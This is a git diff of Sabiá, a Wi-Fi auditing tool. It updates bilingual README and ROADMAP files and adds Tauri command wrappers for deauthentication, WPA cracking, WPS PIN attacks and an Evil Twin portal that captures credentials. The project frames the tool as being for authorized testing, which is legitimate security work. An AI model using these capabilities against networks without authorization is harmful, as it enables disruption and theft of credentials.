| macOS | `sabia-*-macos-{aarch64,x86_64}.tar.gz` | `.dmg` |
| Windows | — | instalador `.exe` |
| Linux | `sabia-*-linux-{x86_64,aarch64}.tar.gz` | `.AppImage` / `.deb` |
Cada arquivo tem um `.sha256` ao lado. Compilar do código: `cargo build --release -p sabia-cli` (Rust 1.80+).
O CLI é só para Linux; o app desktop sai para Linux e Windows. Cada pacote do
CLI tem um `.sha256` ao lado. Compilar do código: `cargo build --release -p
sabia-cli` (Rust 1.80+, Linux).
**Atualizações:** o app desktop consulta o GitHub ao abrir; havendo versão nova, um botão oferece **Atualizar agora**: ele baixa o binário certo para a plataforma, confere o **SHA-256** e troca o executável em uso — você não precisa baixar nada na mão. A consulta é uma única requisição à API de releases e nada seu é enviado.
**Atualizações:** o app desktop consulta o Gitea ao abrir; havendo versão nova, um botão oferece **Atualizar agora**. O CLI atualiza do mesmo jeito (`sabia update`); ele baixa o binário certo para a plataforma, confere o **SHA-256** e troca o executável em uso — você não precisa baixar nada na mão. A consulta é uma única requisição à API de releases e nada seu é enviado.
> Os binários ainda **não são assinados**: o SmartScreen (Windows) e o Gatekeeper (macOS) vão avisar. Confira o SHA-256.
> Os binários ainda **não são assinados**: o SmartScreen do Windows vai avisar. Confira o SHA-256.
**Captura e modo monitor exigem Linux e privilégio de root** (`CAP_NET_ADMIN`/`CAP_NET_RAW`): a captura crua usa `AF_PACKET` e o controle de interface usa netlink. A **análise de `.pcap` e a quebra offline** rodam também em Windows e macOS. O app desktop pede elevação de administrador sozinho ao abrir.
**Captura e modo monitor exigem Linux e privilégio de root** — a única plataforma para a qual o CLI é compilado (`CAP_NET_ADMIN`/`CAP_NET_RAW`): a captura crua usa `AF_PACKET` e o controle de interface usa netlink. A **análise de `.pcap` e a quebra offline** rodam também em Windows e macOS. O app desktop pede elevação de administrador sozinho ao abrir.
## Começando
@@ -72,11 +75,11 @@ App desktop (Tauri) com sidebar de interfaces, painel de captura com linha de si
## Limites conhecidos
- **Captura só no Linux**, com placa que suporte **modo monitor** (e injeção, para `deauth`). Em Windows e macOS o Sabiá faz só análise de `.pcap` e quebra offline.
- **Captura só no Linux**, com placa que suporte **modo monitor** (e injeção, para `deauth`); o CLI não é compilado para outras plataformas. Em Windows o app desktop do Sabiá faz só análise de `.pcap` e quebra offline.
- **WPA3/SAE** não cai por dicionário de handshake — a quebra cobre **WPA/WPA2-PSK** (4-way e PMKID).
- **5 e 6 GHz** dependem da placa e do _regulatory domain_; alguns canais ficam passivos (sem _probe_).
- **Senhas fora do dicionário não voltam:** a quebra é só força de dicionário, sem regras nem máscara ainda.
- **Windows e macOS:** o código compila e é testado em CI, mas a captura ao vivo não roda nessas plataformas.
- **Certificado autoassinado do Evil Twin Enterprise:** clientes que validam a cadeia de certificado da rede (comum em perfil corporativo/MDM atualizado) não confiam nele — é a defesa correta funcionando, não um bug.
- **Windows:** o código compila e é testado em CI, mas a captura ao vivo não roda lá; o app desktop faz só análise offline. Não há build para macOS: o Tauri precisa do SDK do macOS e de assinatura, os dois presos a hardware Apple e a uma conta Apple Developer, que o CI deste projeto (um único runner Linux) não tem.
## Para onde vai
@@ -84,10 +87,10 @@ Resumo do [ROADMAP](ROADMAP.pt-BR.md):
| | |
|---|---|
| **Feito** | Modo monitor por netlink, varredura 2.4/5/6 GHz, captura de 4-way e PMKID, escrita e leitura de `.pcap`, quebra por dicionário (WPA/WPA2-PSK), `deauth` autorizado, trilha de auditoria por hash, `doctor`, CLI + app desktop, atualização em um clique |
| **Próximo** | Regras e máscaras na quebra, aceleração por GPU, exportação para o formato do hashcat (`22000`) |
| **Depois** | Ataque a WPS, _rogue AP_/_evil twin_ para teste autorizado, captura em Windows (Npcap) |
| **Longo prazo** | WPA3/SAE _downgrade_, validação em hardware variado |
| **Feito** | Modo monitor por netlink (com recuperação do NetworkManager), varredura 2.4/5/6 GHz, captura de 4-way e PMKID, decriptação CCMP, quebra por dicionário/regras/máscara (WPA/WPA2-PSK), exportação `.hc22000`, escrita e leitura de `.pcap`, `deauth`/PMF/PMKID autorizados, ataque WPS, Evil Twin (PSK + Enterprise), pontuação de canais e achados, relatório de auditoria paginado, trilha de auditoria por hash, `doctor`, CLI + app desktop, atualização em um clique |
| **Próximo** | Aceleração por GPU na quebra, captura em Windows (Npcap) |
| **Fora de plano** | Um build para macOS — veja [Limites conhecidos](#limites-conhecidos) |
| **Depois** | WPA3/SAE _downgrade_, validação em hardware variado, binários de release assinados |
## Desenvolvimento
+18 -15
View File
@@ -2,34 +2,37 @@
**English** · [Português](ROADMAP.pt-BR.md)
Sabiá does Wi-Fi auditing: it discovers networks, captures handshakes (4-way and PMKID), cracks WPA/WPA2-PSK by offline dictionary and tests deauthentication with authorization. Always for authorized use, with a local audit trail.
Sabiá does Wi-Fi auditing: it discovers networks, captures handshakes (4-way and PMKID), cracks WPA/WPA2-PSK by dictionary/rules/mask, assesses WPS, PMF and evil twin exposure, and tests deauthentication and rogue-AP attacks with authorization. Always for authorized use, with a local audit trail.
## Done (0.1.0)
## Done (1.0.0)
- **Monitor mode** and channel control via netlink/`iw`.
- **Scanning** of 2.4, 5 and 6 GHz: APs and clients, with SSID, BSSID, channel, signal and security.
- **Monitor mode** and channel control via netlink/`iw`, with automatic recovery from NetworkManager reclaiming the interface.
- **Scanning** of 2.4, 5 and 6 GHz: APs and clients, with SSID, BSSID, channel, signal, security, WPS details, vendor and PHY standard.
- Raw 802.11 capture via **AF_PACKET** (no libpcap), **radiotap** and management-frame parsing.
- Capture of the **4-way handshake (EAPOL)** and the **PMKID**.
- **Offline dictionary cracking** (PBKDF2-HMAC-SHA1, MIC and PMKID) for WPA/WPA2-PSK.
- Capture of the **4-way handshake (EAPOL)** and the **PMKID**; **CCMP traffic decryption** once the password is known.
- **Offline cracking** (PBKDF2-HMAC-SHA1, MIC and PMKID) for WPA/WPA2-PSK: a 9.7M-password dictionary (rockyou + Probable-Wordlists) by default, hashcat-style **mutation rules** and **mask brute force**.
- **`.hc22000` export** to take the handshake straight to hashcat/John.
- **`.pcap`** read and write; offline `.pcap` analysis.
- Authorized **`deauth`** (`--yes` flag).
- Authorized **`deauth`** (`--yes` flag), directional and continuous jobs, PMF probing, clientless PMKID hunting.
- **WPS attack** (PIN/Pixie Dust) via a bundled reaver, or bully when installed.
- **Evil Twin** with captive portal for WPA/WPA2-PSK (password only accepted after cryptographic verification against the real handshake) and a credential-capture variant for WPA2/WPA3-Enterprise (802.1X/EAP).
- Channel-interference scoring and security findings (open network, no PMF, WPS exposed, possible evil twin).
- Redesigned, paginated **audit report** (cover, table of contents, running header/footer) that prints to PDF from the browser.
- Local hash-chained **audit trail**; `doctor` diagnostics.
- **CLI** + **desktop app** (Tauri) + local UI server; **one-click update**.
## Next
- **Rules and masks** in cracking (hashcat style), beyond the plain dictionary.
- **`22000` export** to take the handshake straight to hashcat/John.
- **GPU** acceleration for PMK derivation.
## Later
- **WPS attack** (PIN/Pixie Dust) in authorized testing.
- **Rogue AP / evil twin** for client assessment, with authorization.
- **Capture on Windows** via Npcap.
## Long term
## Later
- **WPA3/SAE**: detection and downgrade paths where applicable.
- Validation on **varied hardware** (chipsets and regulatory domains).
- Signing of release binaries (SmartScreen/Gatekeeper).
## Long term
- GPU-accelerated cracking backend (hashcat integration beyond export).
- Packaged distribution (`apt`/`brew`/winget).
+18 -15
View File
@@ -2,34 +2,37 @@
[English](ROADMAP.md) · **Português**
O Sabiá faz auditoria de Wi-Fi: descobre redes, captura handshakes (4-way e PMKID), quebra WPA/WPA2-PSK por dicionário offline e testa desautenticação com autorização. Sempre de uso autorizado, com trilha de auditoria local.
O Sabiá faz auditoria de Wi-Fi: descobre redes, captura handshakes (4-way e PMKID), quebra WPA/WPA2-PSK por dicionário/regras/máscara, avalia exposição a WPS, PMF e evil twin, e testa desautenticação e ataques de rogue AP com autorização. Sempre de uso autorizado, com trilha de auditoria local.
## Feito (0.1.0)
## Feito (1.0.0)
- Controle de **modo monitor** e de canal por netlink/`iw`.
- **Varredura** de 2.4, 5 e 6 GHz: APs e clientes, com SSID, BSSID, canal, sinal e segurança.
- Controle de **modo monitor** e de canal por netlink/`iw`, com recuperação automática quando o NetworkManager tenta retomar a interface.
- **Varredura** de 2.4, 5 e 6 GHz: APs e clientes, com SSID, BSSID, canal, sinal, segurança, detalhes de WPS, fabricante e padrão PHY.
- Captura crua de 802.11 por **AF_PACKET** (sem libpcap), parsing de **radiotap** e de quadros de gerenciamento.
- Captura de **4-way handshake (EAPOL)** e de **PMKID**.
- **Quebra offline** por dicionário (PBKDF2-HMAC-SHA1, MIC e PMKID) para WPA/WPA2-PSK.
- Captura de **4-way handshake (EAPOL)** e de **PMKID**; **decriptação de tráfego CCMP** quando a senha é conhecida.
- **Quebra offline** (PBKDF2-HMAC-SHA1, MIC e PMKID) para WPA/WPA2-PSK: dicionário padrão de 9,7 milhões de senhas (rockyou + Probable-Wordlists), **regras de mutação** estilo hashcat e **força bruta por máscara**.
- **Exportação `.hc22000`** para levar o handshake direto ao hashcat/John.
- Escrita e leitura de **`.pcap`**; análise de `.pcap` offline.
- **`deauth`** autorizado (flag `--yes`).
- **`deauth`** autorizado (flag `--yes`), jobs direcionais e contínuos, teste de PMF, caça de PMKID sem cliente.
- **Ataque WPS** (PIN/Pixie Dust) via reaver embutido, ou bully quando instalado.
- **Evil Twin** com portal cativo para WPA/WPA2-PSK (senha só aceita após verificação criptográfica contra o handshake real) e variante de captura automática de credencial para WPA2/WPA3-Enterprise (802.1X/EAP).
- Pontuação de interferência de canais e achados de segurança (rede aberta, sem PMF, WPS exposto, possível evil twin).
- **Relatório de auditoria** redesenhado e paginado (capa, sumário, cabeçalho/rodapé corridos) que imprime em PDF pelo navegador.
- **Trilha de auditoria** local encadeada por hash; `doctor` de diagnóstico.
- **CLI** + **app desktop** (Tauri) + servidor local da UI; **atualização em um clique**.
## Próximo
- **Regras e máscaras** na quebra (estilo hashcat), além do dicionário puro.
- **Exportação `22000`** para levar o handshake direto ao hashcat/John.
- Aceleração por **GPU** na derivação da PMK.
## Depois
- **Ataque a WPS** (PIN/Pixie Dust) em teste autorizado.
- **Rogue AP / evil twin** para avaliação de clientes, com autorização.
- **Captura em Windows** via Npcap.
## Longo prazo
## Depois
- **WPA3/SAE**: detecção e caminhos de _downgrade_ onde aplicável.
- Validação em **hardware variado** (chipsets e _regulatory domains_).
- Assinatura dos binários de release (SmartScreen/Gatekeeper).
## Longo prazo
- Backend de quebra acelerado por GPU (integração com hashcat além da exportação).
- Distribuição empacotada (`apt`/`brew`/winget).
+1 -1
View File
@@ -2,6 +2,6 @@
**English** · [Português](SECURITY.pt-BR.md)
Sabiá processes untrusted data from the air and from `.pcap` files (802.11 frames and handshakes, possibly forged) and controls network interfaces with root privilege. Vulnerabilities — memory corruption in the radiotap/802.11/EAPOL parsers, path escape when writing `.pcap` or exporting, privilege misuse — should be reported privately through the repository's **Security → Report a vulnerability** tab on GitHub. Do not open a public issue before a fix.
Sabiá processes untrusted data from the air and from `.pcap` files (802.11 frames and handshakes, possibly forged) and controls network interfaces with root privilege. Vulnerabilities — memory corruption in the radiotap/802.11/EAPOL parsers, path escape when writing `.pcap` or exporting, privilege misuse — should be reported privately through the private vulnerability reporting feature of the repository on Gitea. Do not open a public issue before a fix.
Sabiá is a tool for **authorized auditing**. Reports about using it to attack third-party networks are out of the project's security scope — see the **Authorized use** section of the [README](README.md).
+1 -1
View File
@@ -2,6 +2,6 @@
[English](SECURITY.md) · **Português**
O Sabiá processa dados não confiáveis vindos do ar e de arquivos `.pcap` (quadros 802.11 e handshakes, possivelmente forjados) e controla interfaces de rede com privilégio de root. Vulnerabilidades — corrupção de memória nos parsers de radiotap/802.11/EAPOL, escape de caminho na escrita de `.pcap` ou na exportação, uso indevido de privilégio — devem ser reportadas em privado pela aba **Security → Report a vulnerability** do repositório no GitHub. Não abra issue pública antes da correção.
O Sabiá processa dados não confiáveis vindos do ar e de arquivos `.pcap` (quadros 802.11 e handshakes, possivelmente forjados) e controla interfaces de rede com privilégio de root. Vulnerabilidades — corrupção de memória nos parsers de radiotap/802.11/EAPOL, escape de caminho na escrita de `.pcap` ou na exportação, uso indevido de privilégio — devem ser reportadas em privado pelo recurso de relato privado de vulnerabilidade do repositório no Gitea. Não abra issue pública antes da correção.
O Sabiá é uma ferramenta de **auditoria autorizada**. Relatos sobre uso para atacar redes de terceiros não são escopo de segurança do projeto — veja a seção **Uso autorizado** do [README](README.pt-BR.md).
+34 -2
View File
@@ -8,6 +8,17 @@ version = "2.0.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "320119579fcad9c21884f5c4861d16174d0e06250625266f50fe6898340abefa"
[[package]]
name = "aes"
version = "0.8.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0"
dependencies = [
"cfg-if",
"cipher",
"cpufeatures",
]
[[package]]
name = "aho-corasick"
version = "1.1.5"
@@ -322,6 +333,16 @@ dependencies = [
"windows-link",
]
[[package]]
name = "cipher"
version = "0.4.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad"
dependencies = [
"crypto-common",
"inout",
]
[[package]]
name = "combine"
version = "4.6.9"
@@ -1474,6 +1495,15 @@ dependencies = [
"cfb",
]
[[package]]
name = "inout"
version = "0.1.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "879f10e63c20629ecabbb64a8010319738c66a5cd0c29b02d63d272b03751d01"
dependencies = [
"generic-array",
]
[[package]]
name = "ipnet"
version = "2.12.2"
@@ -2508,8 +2538,10 @@ checksum = "cf54715a573b99ac80df0bc206da022bcd442c974952c7b9720069370852e21f"
[[package]]
name = "sabia-core"
version = "0.1.0"
version = "1.0.3"
dependencies = [
"aes",
"flate2",
"hmac",
"libc",
"md-5",
@@ -2523,7 +2555,7 @@ dependencies = [
[[package]]
name = "sabia-gui"
version = "0.1.0"
version = "1.0.3"
dependencies = [
"libc",
"sabia-core",
+3 -2
View File
@@ -3,10 +3,11 @@
[package]
name = "sabia-gui"
description = "Sabiá: interface gráfica de auditoria de Wi-Fi"
version = "0.1.0"
version = "1.0.3"
edition = "2021"
license = "MIT OR Apache-2.0"
repository = "https://github.com/lucasrguerra/sabia"
authors = ["Sabiá contributors"]
repository = "https://git.lucasrguerra.dev.br/lucasrguerra/sabia"
rust-version = "1.80"
[workspace]
+2
View File
@@ -1,4 +1,6 @@
fn main() {
println!("cargo:rerun-if-changed=../../../logo.png");
let _ = std::fs::copy("../../../logo.png", "../ui/logo.png");
#[cfg(windows)]
{
// Modo monitor e captura crua exigem administrador no Windows: o
@@ -0,0 +1,7 @@
{
"$schema": "../gen/schemas/desktop-schema.json",
"identifier": "default",
"description": "Permissões da janela principal",
"windows": ["main"],
"permissions": ["core:default", "core:window:allow-destroy", "core:window:allow-close"]
}
@@ -1 +1 @@
{}
{"default":{"identifier":"default","description":"Permissões da janela principal","local":true,"windows":["main"],"permissions":["core:default","core:window:allow-destroy","core:window:allow-close"]}}
File diff suppressed because it is too large. Load diff
Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 40 KiB

After

Width:  |  Height:  |  Size: 43 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.0 KiB

After

Width:  |  Height:  |  Size: 2.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 5.4 KiB

After

Width:  |  Height:  |  Size: 5.7 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 11 KiB

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 17 KiB

After

Width:  |  Height:  |  Size: 19 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 19 KiB

After

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 46 KiB

After

Width:  |  Height:  |  Size: 50 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.8 KiB

After

Width:  |  Height:  |  Size: 1.9 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 52 KiB

After

Width:  |  Height:  |  Size: 57 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.1 KiB

After

Width:  |  Height:  |  Size: 3.4 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 6.2 KiB

After

Width:  |  Height:  |  Size: 6.7 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 8.7 KiB

After

Width:  |  Height:  |  Size: 9.4 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.7 KiB

After

Width:  |  Height:  |  Size: 4.0 KiB

@@ -1,5 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
<foreground android:drawable="@mipmap/ic_launcher_foreground"/>
<background android:drawable="@color/ic_launcher_background"/>
</adaptive-icon>
Binary file not shown.

Before

Width:  |  Height:  |  Size: 5.8 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 21 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 6.8 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.2 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.7 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 9.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 31 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 11 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 17 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 56 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 19 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 25 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 86 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 29 KiB

@@ -1,4 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<color name="ic_launcher_background">#FFFFFF</color>
</resources>
Binary file not shown.
Binary file not shown.

Before

Width:  |  Height:  |  Size: 53 KiB

After

Width:  |  Height:  |  Size: 57 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 112 KiB

After

Width:  |  Height:  |  Size: 122 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 979 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.5 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.5 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 4.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 4.4 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 4.4 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 8.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.5 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 7.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 7.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 311 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 24 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 6.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 19 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 21 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 336 KiB

After

Width:  |  Height:  |  Size: 350 KiB

+533 -11
View File
@@ -1,7 +1,7 @@
// Evita a janela de console extra no Windows em release.
#![cfg_attr(not(debug_assertions), windows_subsystem = "windows")]
use sabia_core::engine::Engine;
use sabia_core::engine::{Engine, ScanOptions};
use std::sync::Arc;
struct State(Arc<Engine>);
@@ -19,7 +19,10 @@ fn list_ifaces(state: tauri::State<'_, State>) -> Result<serde_json::Value, Stri
#[tauri::command]
fn set_monitor(state: tauri::State<'_, State>, iface: String, enable: bool) -> Result<(), String> {
state.0.set_monitor(&iface, enable).map_err(|e| e.to_string())
state
.0
.set_monitor(&iface, enable)
.map_err(|e| e.to_string())
}
#[tauri::command]
@@ -33,10 +36,465 @@ fn stop_scan(state: tauri::State<'_, State>, iface: String) {
}
#[tauri::command]
fn scan_results(state: tauri::State<'_, State>, iface: String) -> Result<serde_json::Value, String> {
fn scan_results(
state: tauri::State<'_, State>,
iface: String,
) -> Result<serde_json::Value, String> {
serde_json::to_value(state.0.scan_results(&iface)).map_err(|e| e.to_string())
}
#[tauri::command]
fn scan_snapshot(
state: tauri::State<'_, State>,
iface: String,
) -> Result<serde_json::Value, String> {
let snapshot = state.0.scan_snapshot(&iface).map_err(|e| e.to_string())?;
serde_json::to_value(snapshot).map_err(|e| e.to_string())
}
#[tauri::command]
fn scan_clients(
state: tauri::State<'_, State>,
iface: String,
) -> Result<serde_json::Value, String> {
serde_json::to_value(state.0.scan_clients(&iface)).map_err(|e| e.to_string())
}
#[tauri::command]
fn handshakes(
state: tauri::State<'_, State>,
iface: Option<String>,
) -> Result<serde_json::Value, String> {
serde_json::to_value(state.0.handshakes(iface.as_deref())).map_err(|e| e.to_string())
}
#[tauri::command]
fn export_handshake(
state: tauri::State<'_, State>,
iface: String,
bssid: String,
station: String,
out: String,
) -> Result<serde_json::Value, String> {
let report = state
.0
.export_handshake(&iface, &bssid, &station, &out)
.map_err(|e| e.to_string())?;
serde_json::to_value(report).map_err(|e| e.to_string())
}
#[tauri::command]
fn export_all_handshakes(
state: tauri::State<'_, State>,
iface: String,
out: String,
) -> Result<serde_json::Value, String> {
let report = state
.0
.export_all_handshakes(&iface, &out)
.map_err(|e| e.to_string())?;
serde_json::to_value(report).map_err(|e| e.to_string())
}
#[tauri::command]
fn start_crack(
state: tauri::State<'_, State>,
iface: String,
wordlist: Option<String>,
bssid: Option<String>,
station: Option<String>,
rules: Option<bool>,
) -> Result<String, String> {
let rules = rules.unwrap_or(false);
let result = match wordlist.filter(|w| !w.trim().is_empty()) {
Some(wordlist) => state.0.start_crack(
&iface,
bssid.as_deref(),
station.as_deref(),
&wordlist,
rules,
),
None => state
.0
.start_crack_default(&iface, bssid.as_deref(), station.as_deref(), rules),
};
result.map_err(|e| e.to_string())
}
#[tauri::command]
fn start_crack_mask(
state: tauri::State<'_, State>,
iface: String,
mask: String,
bssid: Option<String>,
station: Option<String>,
max_candidates: Option<u64>,
) -> Result<String, String> {
state
.0
.start_crack_mask(
&iface,
bssid.as_deref(),
station.as_deref(),
&mask,
max_candidates.unwrap_or(50_000_000),
)
.map_err(|e| e.to_string())
}
#[tauri::command]
fn crack_job(state: tauri::State<'_, State>, id: String) -> Result<serde_json::Value, String> {
match state.0.crack_job(&id) {
Some(job) => serde_json::to_value(job).map_err(|e| e.to_string()),
None => Err("job não encontrado".into()),
}
}
#[tauri::command]
fn crack_jobs(state: tauri::State<'_, State>) -> Result<serde_json::Value, String> {
serde_json::to_value(state.0.crack_jobs()).map_err(|e| e.to_string())
}
#[tauri::command]
fn deauth(
state: tauri::State<'_, State>,
iface: String,
bssid: String,
station: Option<String>,
count: Option<u32>,
reason: Option<u16>,
) -> Result<serde_json::Value, String> {
let report = state
.0
.deauth(
&iface,
&bssid,
station.as_deref(),
count.unwrap_or(5),
reason.unwrap_or(7),
)
.map_err(|e| e.to_string())?;
serde_json::to_value(report).map_err(|e| e.to_string())
}
#[tauri::command]
#[allow(clippy::too_many_arguments)]
fn deauth_directional(
state: tauri::State<'_, State>,
iface: String,
bssid: String,
station: Option<String>,
count: Option<u32>,
reason: Option<u16>,
direction: Option<String>,
frame_kind: Option<String>,
) -> Result<serde_json::Value, String> {
let report = state
.0
.deauth_directional(
&iface,
&bssid,
station.as_deref(),
count.unwrap_or(5),
reason.unwrap_or(7),
direction.as_deref().unwrap_or("ap"),
frame_kind.as_deref().unwrap_or("deauth"),
)
.map_err(|e| e.to_string())?;
serde_json::to_value(report).map_err(|e| e.to_string())
}
#[tauri::command]
#[allow(clippy::too_many_arguments)]
fn start_deauth_job(
state: tauri::State<'_, State>,
iface: String,
bssid: String,
station: Option<String>,
reason: Option<u16>,
direction: Option<String>,
frame_kind: Option<String>,
interval_ms: Option<u64>,
max_secs: Option<u64>,
stop_on_handshake: Option<bool>,
) -> Result<String, String> {
state
.0
.start_deauth_job(
&iface,
&bssid,
station.as_deref(),
reason.unwrap_or(7),
direction.as_deref().unwrap_or("both"),
frame_kind.as_deref().unwrap_or("deauth"),
interval_ms.unwrap_or(120),
max_secs,
stop_on_handshake.unwrap_or(false),
)
.map_err(|e| e.to_string())
}
#[tauri::command]
fn stop_deauth_job(state: tauri::State<'_, State>, id: String) -> Result<(), String> {
state.0.stop_deauth_job(&id).map_err(|e| e.to_string())
}
#[tauri::command]
fn deauth_job(state: tauri::State<'_, State>, id: String) -> Result<serde_json::Value, String> {
match state.0.deauth_job(&id) {
Some(job) => serde_json::to_value(job).map_err(|e| e.to_string()),
None => Err("job de deauth não encontrado".into()),
}
}
#[tauri::command]
fn deauth_jobs(
state: tauri::State<'_, State>,
iface: Option<String>,
) -> Result<serde_json::Value, String> {
let jobs = state.0.deauth_jobs();
let jobs: Vec<_> = match iface {
Some(iface) => jobs
.into_iter()
.filter(|j| j.iface.eq_ignore_ascii_case(&iface))
.collect(),
None => jobs,
};
serde_json::to_value(jobs).map_err(|e| e.to_string())
}
#[tauri::command]
fn capture_handshake(
state: tauri::State<'_, State>,
iface: String,
bssid: String,
station: Option<String>,
seconds: Option<u64>,
) -> Result<String, String> {
state
.0
.capture_handshake(&iface, &bssid, station.as_deref(), seconds)
.map_err(|e| e.to_string())
}
#[tauri::command]
fn report(
state: tauri::State<'_, State>,
iface: String,
) -> Result<serde_json::Value, String> {
let model = state.0.report(&iface).map_err(|e| e.to_string())?;
serde_json::to_value(model).map_err(|e| e.to_string())
}
#[tauri::command]
fn report_html(
state: tauri::State<'_, State>,
iface: String,
inline: Option<bool>,
) -> Result<String, String> {
let model = state.0.report(&iface).map_err(|e| e.to_string())?;
let options = sabia_core::report::ReportOptions {
inline_pagedjs: inline.unwrap_or(false),
..Default::default()
};
Ok(sabia_core::report::render(&model, options))
}
#[tauri::command]
fn export_hc22000(
state: tauri::State<'_, State>,
iface: String,
bssid: String,
station: String,
out: String,
) -> Result<serde_json::Value, String> {
let report = state
.0
.export_hc22000(&iface, &bssid, &station, &out)
.map_err(|e| e.to_string())?;
serde_json::to_value(report).map_err(|e| e.to_string())
}
#[tauri::command]
fn export_all_hc22000(
state: tauri::State<'_, State>,
iface: String,
out: String,
) -> Result<serde_json::Value, String> {
let report = state
.0
.export_all_hc22000(&iface, &out)
.map_err(|e| e.to_string())?;
serde_json::to_value(report).map_err(|e| e.to_string())
}
#[tauri::command]
fn pmkid_hunt(
state: tauri::State<'_, State>,
iface: String,
bssid: String,
attempts: Option<u32>,
) -> Result<serde_json::Value, String> {
let report = state
.0
.pmkid_hunt(&iface, &bssid, attempts.unwrap_or(5))
.map_err(|e| e.to_string())?;
serde_json::to_value(report).map_err(|e| e.to_string())
}
#[tauri::command]
fn pmf_test(
state: tauri::State<'_, State>,
iface: String,
bssid: String,
station: String,
reason: Option<u16>,
) -> Result<serde_json::Value, String> {
let report = state
.0
.pmf_test(&iface, &bssid, &station, reason.unwrap_or(7))
.map_err(|e| e.to_string())?;
serde_json::to_value(report).map_err(|e| e.to_string())
}
#[tauri::command]
fn wps_tools(state: tauri::State<'_, State>) -> Result<serde_json::Value, String> {
serde_json::to_value(state.0.wps_tools()).map_err(|e| e.to_string())
}
#[tauri::command]
fn start_wps(
state: tauri::State<'_, State>,
iface: String,
bssid: String,
channel: u32,
tool: String,
pin: Option<String>,
) -> Result<String, String> {
state
.0
.start_wps(&iface, &bssid, channel, &tool, pin.as_deref())
.map_err(|e| e.to_string())
}
#[tauri::command]
fn wps_job(state: tauri::State<'_, State>, id: String) -> Result<serde_json::Value, String> {
match state.0.wps_job(&id) {
Some(job) => serde_json::to_value(job).map_err(|e| e.to_string()),
None => Err("job WPS não encontrado".into()),
}
}
#[tauri::command]
fn wps_jobs(state: tauri::State<'_, State>) -> Result<serde_json::Value, String> {
serde_json::to_value(state.0.wps_jobs()).map_err(|e| e.to_string())
}
#[tauri::command]
fn stop_wps(state: tauri::State<'_, State>, id: String) -> Result<(), String> {
state.0.stop_wps(&id).map_err(|e| e.to_string())
}
#[tauri::command]
fn start_evil_twin(
state: tauri::State<'_, State>,
iface: String,
ap_iface: String,
bssid: String,
portal_port: Option<u16>,
deauth: Option<bool>,
) -> Result<String, String> {
state
.0
.start_evil_twin(
&iface,
&ap_iface,
&bssid,
portal_port.unwrap_or(8080),
deauth.unwrap_or(false),
)
.map_err(|e| e.to_string())
}
#[tauri::command]
fn eviltwin_job(state: tauri::State<'_, State>, id: String) -> Result<serde_json::Value, String> {
match state.0.eviltwin_job(&id) {
Some(job) => serde_json::to_value(job).map_err(|e| e.to_string()),
None => Err("job de Evil Twin não encontrado".into()),
}
}
#[tauri::command]
fn eviltwin_jobs(state: tauri::State<'_, State>) -> Result<serde_json::Value, String> {
serde_json::to_value(state.0.eviltwin_jobs()).map_err(|e| e.to_string())
}
#[tauri::command]
fn stop_evil_twin(state: tauri::State<'_, State>, id: String) -> Result<(), String> {
state.0.stop_evil_twin(&id).map_err(|e| e.to_string())
}
